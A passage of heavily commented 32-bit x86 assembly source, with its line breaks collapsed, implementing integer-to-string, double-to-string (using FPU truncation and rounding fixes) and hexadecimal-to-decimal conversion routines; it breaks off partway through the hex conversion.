- - - - - - - - - - - - - - - - - - - - - - - ; ; 031: ++ decimal_y[0]_len; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 28] ;eax = decimal_y[0]_len add eax, 1 mov [esp + 28], eax ;decimal_y[0]_len = eax + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 032: if temp != 0, then ; goto .loop_4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = temp cmp eax, 0 jne .loop_4 .endloop_4: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .LOOP_5: Convert decimal_y[0] to ASCII string, ; and stores to output string. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Initialize counter for .loop_5 ; ; 033: i = decimal_y[0]_len; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 28] ;eax = decimal_y[0]_len mov [esp + 40], eax ;counter = eax .loop_5: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 034: ascii_char = ((decimal_y[0] >> ((i-1)*4)) & 0x0f) | 0x30; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i sub eax, 1 mov ebx, 4 xor edx, edx mul ebx ;eax = (i-1) * 4 mov ecx, eax mov eax, [esp + 20] ;eax = decimal_y[0] shr eax, cl ;eax = decimal_y[0] >> ((i-1)*4) and eax, 0x0f or eax, 0x30 mov [esp + 44], eax ;ascii_char = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 035: addr_out_string^ |= ( ascii_char << (byte_pos*8) ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos mov ebx, 8 xor edx, edx mul ebx ;eax = byte_pos * 8 mov ecx, eax mov eax, [esp + 44] ;eax = ascii_char shl eax, cl ;eax = ascii_char << (byte_pos*8) mov ecx, [esp + 8] ;ecx = addr_out_string mov ebx, [ecx] ;ebx = addr_out_string^ or eax, ebx ;eax = result | addr_out_string mov [ecx], eax ;addr_out_string^ = result ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 036: ++ out_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = out_strlen add eax, 1 mov [esp + 16], eax ;out_strlen = out_strlen + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 037: ++ byte_pos; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos add eax, 1 mov [esp + 48], eax ;byte_pos = byte_pos + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check if output string memory block is full. ; ; TRUE = The output string memory block is not yet full. ; FALSE = The output string memory block is full. ; ; If the output string memory block is full, point the ; addr_out_string to the next memory block of output string, ; and reset the byte position to 0. ; ; 038: if byte_pos != 4 then ; goto .cond2_out_string_not_full; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = byte_pos cmp eax, 4 jne .cond2_out_string_not_full .cond2_out_string_full: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 039: addr_out_string += 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = addr_out_string add eax, 4 mov [esp + 8], eax ;addr_out_string += 4 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 040: byte_pos = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax mov [esp + 48], eax ;byte_pos = 0 .cond2_out_string_not_full: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 041: -- i; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i sub eax, 1 mov [esp + 40], eax ;i = i + 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 042: if i != 0, then ; goto .loop_5; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = i cmp eax, 0 jne .loop_5 .endloop_5: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Save the length of out_string ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .save_out_strlen: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 043: addr_out_strlen^ = out_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = out_strlen mov ebx, [esp + 12] ;ebx = addr_out_strlen mov [ebx], eax ;addr_out_strlen^ = out_strlen .return: .clean_stackframe: sub ebp, 8 ;-8 offset to ebp mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to its initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### cvt_double2string: ;parameter 1 = double_x:64bit ;parameter 2 = decimal_places:32bit ;parameter 3 = addr_out_string^:32bit ;parameter 4 = addr_out_strlen^:32bit ;returns = --- .setup_stackframe: sub esp, 4 ;reserve 4 bytes mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack pointer to ebp .get_arg_set_local_variables: sub esp, 92 ;reserve 92 bytes add ebp, 8 ;+8 offset to get the arguments mov eax, [ebp ] ;get double_x[0] mov ebx, [ebp + 4] ;get double_x[1] mov ecx, [ebp + 8] ;get decimal_places mov [esp ], eax ;double_x[0] mov [esp + 4], ebx ;double_x[1] mov [esp + 8], ecx ;decimal_places mov eax, [ebp + 12] ;get addr_out_string^ mov ebx, [ebp + 16] ;get addr_out_strlen^ mov [esp + 12], eax ;addr_out_string^ mov [esp + 16], ebx ;addr_out_strlen^ mov dword [esp + 20], 0 ;integer_part mov dword [esp + 24], 0 ;decimal_part[0] mov dword [esp + 28], 0 ;decimal_part[1] mov dword [esp + 32], 0 ;decimal_part_str[0] mov dword [esp + 36], 0 ;decimal_part_str[1] mov dword [esp + 40], 0 ;decimal_part_strlen mov dword [esp + 44], 0 ;fpu_controlword mov dword [esp + 48], 0 ;temp mov dword [esp + 52], 0x2e ;dot_character mov dword [esp + 56], 0 ;cur_dec_places mov dword [esp + 60], 0x30303030 ;zeroes_str[0] mov dword [esp + 64], 0x30303030 ;zeroes_str[1] mov dword [esp + 68], 0 ;zeroes_strlen ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Get the integer part from the double_x ; ; For example: ; Given double_x = 2147483647.12345678 ; The integer_part will be 2147483647 ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: initialize FPU stacks; ; ; Initializes the FPU to its default state. Flags all ; FPU registers as empty, clears the top stack pointer. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - finit ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Set the RC Bit = 11 (Bit 10 and Bit 11). See diagram ; below: ; ; +-----+ ; BIT 0 | IM | --> Invalid operation Mask ; +-----+ ; BIT 1 | DM | --> Denormalized operand Mask ; +-----+ ; BIT 2 | ZM | --> Zero divide Mask ; +-----+ ; BIT 3 | OM | --> Overflow Mask ; +-----+ ; BIT 4 | UM | --> Underflow Mask ; +-----+ ; BIT 5 | PM | --> Precision Mask ; +-----+ ; BIT 6 | | ; +-----+ ; BIT 7 | IEM | --> Interrupt Enable Mask ; +-----+ ; BIT 8 | PC | --> Precision Control ; BIT 9 | | ; +-----+ ; BIT 10 | RC | --> Rounding Control, 11B = truncate ; BIT 11 | | ; +-----+ ; BIT 12 | IC | --> Infinity control ; +-----+ ; BIT 13 | | ; +-----+ ; BIT 14 | | ; +-----+ ; BIT 15 | | ; +-----+ ; ; Diagram 1: FPU Control word register. ; ; reference: http://www.website.masmforum.com/tutorials/fptute/ ; fpuchap1.htm ; ; 002: set FPU rounding mode to truncate; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fstcw word [esp + 44] ;save fpu controlword to memory mov ax, [esp + 44] ;ax = fpu controlword or eax, 110000000000B ;rounding control = truncate mov [esp + 44], ax ;save ax value to memory fldcw word [esp + 44] ;use our fpu control word value ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Copy double_x into FPU, so that later we can convert ; to integer value, without rounding (truncate). ; ; 003: push double_x into FPU; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fld qword [esp] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; This will convert the double_x into integer value. ; Lets say the double_x = 3.8992, when convert to int ; it will becomes 3 and store into integer_part variable. ; ; 004: convert double_x to int and save to integer_part; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fist dword [esp + 20] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Get the decimal part from the double_x ; ; For example: ; Given double_x = 2147483647.12345678 ; ; The decimal_part will be 12345678, but however this depends ; on the value of decimal_places. If the decimal_places is 100, ; the decimal_part will becomes 12. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: reinitialize FPU stacks; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - finit ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: push double_x into FPU; ; ; FPU stacks before this instruction: ; st0 = <empty> ; st1 = <empty> ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; FPU stacks after this instruction: ; st0 = double_x ; st1 = <empty> ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fld qword [esp] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: push integer_part into FPU; ; ; FPU stacks before this instruction: ; st0 = double_x ; st1 = <empty> ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; FPU stacks after this instruction: ; st0 = integer_part ; st1 = double_x ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fild dword [esp + 20] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: st0 = st1 - st0; ; ; Purpose of this subtraction (double_x - integer_part), ; is to get the decimal part of the double_x. ; ; How? Lets say, ; double_x = 2147483647.12345678, ; integer_part = 2147483647.00000000 ; ; After subtraction we will get 0.12345678, this is the ; decimal part of the double_x. ; ; FPU stacks before this instruction: ; st0 = integer_part ; st1 = double_x ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; FPU stacks after this instruction: ; st0 = decimal_part = double_x - integer_part ; st1 = <empty> ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fsub ;st0 = st1 - st0 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: push decimal_places into FPU; ; ; This will set how many decimal places that we want to ; print to stdout. ; ; FPU stacks before this instruction: ; st0 = decimal_part ; st1 = <empty> ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; FPU stacks after this instruction: ; st0 = decimal_places ; st1 = decimal_part ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fild dword [esp + 8] ;push decimal_places into fpu ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 010: st0 = st1 * st0; ; ; This multiplication will set how many decimal places ; of double_x that we want. Lets say the decimal_part is ; 0.1234567, when multiply with 100, it becomes 12.34567. ; So, only 12 will be taken as decimal part value. ; ; FPU stacks before this instruction: ; st0 = decimal_places ; st1 = decimal_part ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; FPU stacks after this instruction: ; st0 = decimal_part = decimal_places * decimal_part ; st1 = <empty> ; st2 = <empty> ; st3 = <empty> ; st4 = <empty> ; st5 = <empty> ; st6 = <empty> ; st7 = <empty> ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fmul ;st0 = st1 * st0; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: save and pop st0 to decimal_part; ; ; Now we have done obtaining the decimal part of the ; double_x. Store the result into decimal_part variable, ; and pop the FPU register. ; ; However, there are 2 problems arise: ; 1) When the decimal_part >= 0.5, for example ; 0.675, 0.999999, 0.9, 0.543, and so on... ; ; 2) When there is zeroes in front of decimal_part, ; for example when decimal_part = 0.031, 0.00213, ; 0.0005412, and so on.... ; ; Fortunately, these problems already solved :) ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - fistp qword [esp + 24] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Solve problem if the decimal_part >= 0.5 ; ; The solution is, we have to round the integer_part by 1. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 012: if decimal_part[0] & 0x80000000 != 0x80000000, then ; goto .decimal_part_is_pos. ; ; This check positive/negative sign of the decimal_part. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 24] ;eax = decimal_part[0] and eax, 0x80000000 cmp eax, 0x80000000 jne .decimal_part_is_pos .decimal_part_is_neg: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If we found that decimal_part is negative, we first ; have to reverse two's complement value. ; ; 013: decimal_part[0] = (!decimal_part[0]) + 1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 24] ;eax = decimal_part[0] not eax add eax, 1 mov [esp + 24], eax ;decimal_part[0] = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Set the temp value as -1. ; ; 014: temp = -1; ; ; Because later, lets say the decimal_part is -0.999, ; we have to -1 so that the decimal_part becomes -1.000. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, -1 mov [esp + 48], eax ;temp = eax jmp .end_decimal_part_check_sign .decimal_part_is_pos: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If we found that the decimal_part is positive, we just ; set the temp value as 1. Because later, if we found that ; decimal_part needs to be rounded, we just add temp to ; the decimal_part. ; ; 015: temp = 1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 1 ;eax = 1 mov [esp + 48], eax ;temp = eax .end_decimal_part_check_sign: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Convert the decimal part to ascii string ; ; 016: cvt_int2string( decimal_part[0], ; @decimal_part_str[0], ; @decimal_part_strlen, ; 0 ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov ebx, esp mov ecx, esp mov eax, [esp + 16 + 24] ;get decimal_part[0] add ebx, (16 + 32) ;get @decimal_part_str[0] add ecx, (16 + 40) ;get @decimal_part_strlen xor edx, edx ;get flag=0 mov [esp ], eax ;arg1: decimal_part[0] mov [esp + 4], ebx ;arg2: @decimal_part_str[0] mov [esp + 8], ecx ;arg3: @decimal_part_strlen mov [esp + 12], edx ;arg4: flag=0 call cvt_int2string add esp, 16 ;restore 16 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; ; 017: if decimal_part[0] != decimal_places, then ; goto .dont_round_integer_part. ; ; This checks whether we need to add integer_part ; by 1 or not. If we must add integer_part by 1, ; we also need to zero the decimal_part. ; ; Consider this decimal_part problem, assume we want ; to print only 2 decimal places: ; ; 0.9250 * 100 = 99.25 ; when convert to integer, round to nearest = 99 ; NO PROBLEM. Because 99 is still 2 decimal places. ; Just jump to .dont_round_integer_part. ; ; 0.9750 * 100 = 99.75 ; when convert to integer, round to nearest = 100 ; PROBLEM!!! 100 is more than 2 decimal places. ; Need to execute .round_integer_part to solve this. ; ; SOLUTION TO THE PROBLEM: ; If we found that decimal_part = 100 = decimal_places, ; then: ; ; integer_part += 1 ; ; decimal_part_str[0] &= 0xfffffff0 ; means that if decimal_part_str[0] = 0x00303031, ; then we mask it with 0xfffffff0 so that it becomes ; 0x00303030. ; ; decimal_part_strlen -= 1, so, we only use 0x00003030 ; in the decimal_part_str. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 24] ;eax = decimal_part[0] mov ebx, [esp + 8] ;ebx = decimal_places cmp eax, ebx jne .dont_round_integer_part ;if !=, .dont_round_integer_part .round_integer_part: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 018: integer_part = integer_part + temp; ; ; This will add the integer_part by temp value. Note that ; the temp value can be +1 or -1, depends on the ; decimal_part sign. If decimal_part is negative, then ; the value of temp will be -1. Otherwise, if decimal_part ; is positive, then the value of temp will be +1. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = integer_part mov ebx, [esp + 48] ;ebx = temp add eax, ebx mov [esp + 20], eax ;integer_part = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: decimal_part_str[0] &= 0xfffffff0 ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = decimal_part_str[0] and eax, 0xfffffff0 mov [esp + 32], eax ;decimal_part_str[0] = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 020: -- decimal_part_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 40] ;ebx = decimal_part_strlen sub ebx, 1 mov [esp + 40], ebx ;decimal_part_strlen = ebx .dont_round_integer_part: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Convert the integer part to out string ; ; For example: ; ; Given integer_part = 2147483647 ; The out_string[0] will be 0x37343132, ; the out_string[1] will be 0x36333834, ; the out_string[2] will be 0x3734, ; and the out_strlen will be 10 ; ; If given integer_part = -2147483647 ; The out_string[0] will be 0x3431322d, ; the out_string[1] will be 0x33383437, ; the out_string[2] will be 0x373436, ; and the out_strlen will be 11 ; ; 021: cvt_int2string( integer_part, ; addr_out_string, ; addr_out_strlen, ; 1 ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov eax, [esp + (16 + 20)] ;get integer_part mov ebx, [esp + (16 + 12)] ;get addr_out_string mov ecx, [esp + (16 + 16)] ;get addr_out_strlen mov edx, 1 ;get flag=1 mov [esp ], eax ;arg1: integer_part mov [esp + 4], ebx ;arg2: addr_out_string mov [esp + 8], ecx ;arg3: addr_out_strlen mov [esp + 12], edx ;arg4: flag=1 call cvt_int2string add esp, 16 ;restore 16 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Append a dot character into ascii string ; ; For example: ; Given ascii_string 0x37343132363338343734 ; ; After inserting the dot character at the end, ; the ascii_string will be 0x2e37343132363338343734 ; ; 022: string_append( addr_out_string, ; addr_out_strlen, ; @dot_character, ; 1 ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov ecx, esp mov eax, [esp + (16 + 12)] ;get addr_out_string mov ebx, [esp + (16 + 16)] ;get addr_out_strlen add ecx, (16 + 52) ;get @dot_character mov edx, 1 ;get src_strlen = 1 character mov [esp ], eax ;arg1: addr_out_string mov [esp + 4], ebx ;arg2: addr_out_strlen mov [esp + 8], ecx ;arg3: @dot_character mov [esp + 12], edx ;arg4: src_strlen = 1 character call string_append add esp, 16 ;restore 16 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Solve problem for heading zeroes in decimal_part ; ; If decimal_part = 0.00214 or any number that has heading ; zeroes, the problem occurs after we multiply it with ; decimal_places. Example problem: ; ; decimal_places = 1000 ; decimal_part = decimal_part * decimal_places ; decimal_part = 0.00214 * 1000 ; decimal_part = 2.14 ; ; See that? The program supposed to print 0.002, but the ; program prints only 0.2. ; ; To solve this, before we append the decimal_part_str to the ; out_string, first we append the required heading zeroes string ; to the out_string. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Get the current decimal places of the decimal_part_str. ; ; 023: cur_dec_places = pow_int( 10, decimal_part_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes mov eax, 10 ;get base_value = 10 mov ebx, [esp + (8 + 40)] ;get pow_val = decimal_part_strlen mov [esp ], eax ;arg1: base_val = 10 mov [esp + 4], ebx ;arg2: pow_val=decimal_part_strlen call pow_int add esp, 8 ;restore 8 bytes mov [esp + 56], eax ;cur_dec_places = eax (ret value) ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 024: if cur_dec_places >= decimal_places, then ; goto .dont_insert_heading_zeroes ; ; But if we found that current decimal places of ; decimal part string is less, execute this condition. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 56] ;eax = cur_dec_places mov ebx, [esp + 8] ;ebx = decimal_places cmp eax, ebx jge .dont_insert_heading_zeroes .insert_heading_zeroes: .loop_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; This loop will find out how many heading zeroes characters ; that are required to append to the out_string. ; ; 025: cur_dec_places *= 10; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 56] ;eax = cur_dec_places mov ebx, 10 xor edx, edx mul ebx ;eax *= ebx mov [esp + 56], eax ;cur_dec_places = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 026: ++ zeroes_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 68] ;eax = zeroes_strlen add eax, 1 mov [esp + 68], eax ;zeroes_strlen = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 027: if cur_dec_places != decimal_places, .loop_1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 56] ;eax = cur_dec_places mov ebx, [esp + 8] ;ebx = decimal_places cmp eax, ebx jne .loop_1 .endloop: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Now, we have found out how many required heading zeroes. ; Append the heading zeroes string to the out_string. ; ; 028: string_append( addr_out_string, ; addr_out_strlen, ; @zeroes_str[0], ; zeroes_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov ecx, esp mov eax, [esp + (16 + 12)] ;get addr_out_string mov ebx, [esp + (16 + 16)] ;get addr_out_strlen add ecx, (16 + 60) ;get @zeroes_str[0] mov edx, [esp + (16 + 68)] ;get zeroes_strlen mov [esp ], eax ;arg1: addr_out_string mov [esp + 4], ebx ;arg2: addr_out_strlen mov [esp + 8], ecx ;arg3: @zeroes_str[0] mov [esp + 12], edx ;arg4: zeroes_strlen call string_append add esp, 16 ;restore 16 bytes .dont_insert_heading_zeroes: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Finally, append the decimal_part to the out_string. ; ; 029: string_append( addr_out_string, ; addr_out_strlen, ; @decimal_part_str[0], ; decimal_part_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov ecx, esp mov eax, [esp + (16 + 12)] ;get addr_out_string mov ebx, [esp + (16 + 16)] ;get addr_out_strlen add ecx, (16 + 32) ;get @decimal_part_str[0] mov edx, [esp + (16 + 40)] ;get decimal_part_strlen mov [esp ], eax ;arg1: addr_out_string mov [esp + 4], ebx ;arg2: addr_out_strlen mov [esp + 8], ecx ;arg3: @decimal_part_str[0] mov [esp + 12], edx ;arg4: decimal_part_strlen call string_append add esp, 16 ;restore 16 bytes .return: .clean_stackframe: sub ebp, 8 ;-8 offset mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp value to initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### cvt_hex2dec: ;parameter 1 = hexadecimal_num:32bit ;returns = decimal number (EAX) .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offsets, to get arguments mov eax, [ebp] ;get hexadecimal_num .setup_localvariables: sub esp, 80 ;reserve 80 bytes of stack mov [esp ], eax ;hexadecimal_num mov dword [esp + 4], 0 ;decimal_num mov dword [esp + 8], 0 ;A mov dword [esp + 12], 0 ;B mov dword [esp + 16], 0 ;C mov dword [esp + 20], 0 ;D mov dword [esp + 24], 0 ;E mov dword [esp + 28], 0 ;F mov dword [esp + 32], 0 ;G mov dword [esp + 36], 0 ;H mov dword [esp + 40], 0 ;I mov dword [esp + 44], 0 ;J mov dword [esp + 48], 0 ;K mov dword [esp + 52], 0 ;L mov dword [esp + 56], 0 ;M mov dword [esp + 60], 0 ;N mov dword [esp + 64], 0 ;O mov dword [esp + 68], 0 ;P mov dword [esp + 72], 0 ;Q mov dword [esp + 76], 0 ;R ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: A = (hexadecimal_num / 1000000000) ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 1000000000 xor edx, edx div ebx ;eax = eax / ebx mov [esp + 8], eax ;A = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: B = 16 * A ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = A mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 12], eax ;B = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: C = (hexadecimal_num / 100000000) + B ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecmal_num mov ebx, 100000000 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 12] ;ebx = B add eax, ebx mov [esp + 16], eax ;C = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: D = 16 * C ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = C mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 20], eax ;D = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 005: E = (hexadecimal_num / 10000000) + D ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 10000000 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 20] ;ebx = D add eax, ebx mov [esp + 24], eax ;E = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: F = 16 * E ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 24] ;eax = E mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 28], eax ;F = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: G = (hexadecimal_num / 1000000) + F ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 1000000 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 28] ;ebx = F add eax, ebx mov [esp + 32], eax ;G = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: H = 16 * G ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = G mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 36], eax ;H = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: I = (hexadecimal_num / 100000) + H ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 100000 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 36] ;ebx = H add eax, ebx mov [esp + 40], eax ;I = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 010: J = 16 * I ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = I mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 44], eax ;J = 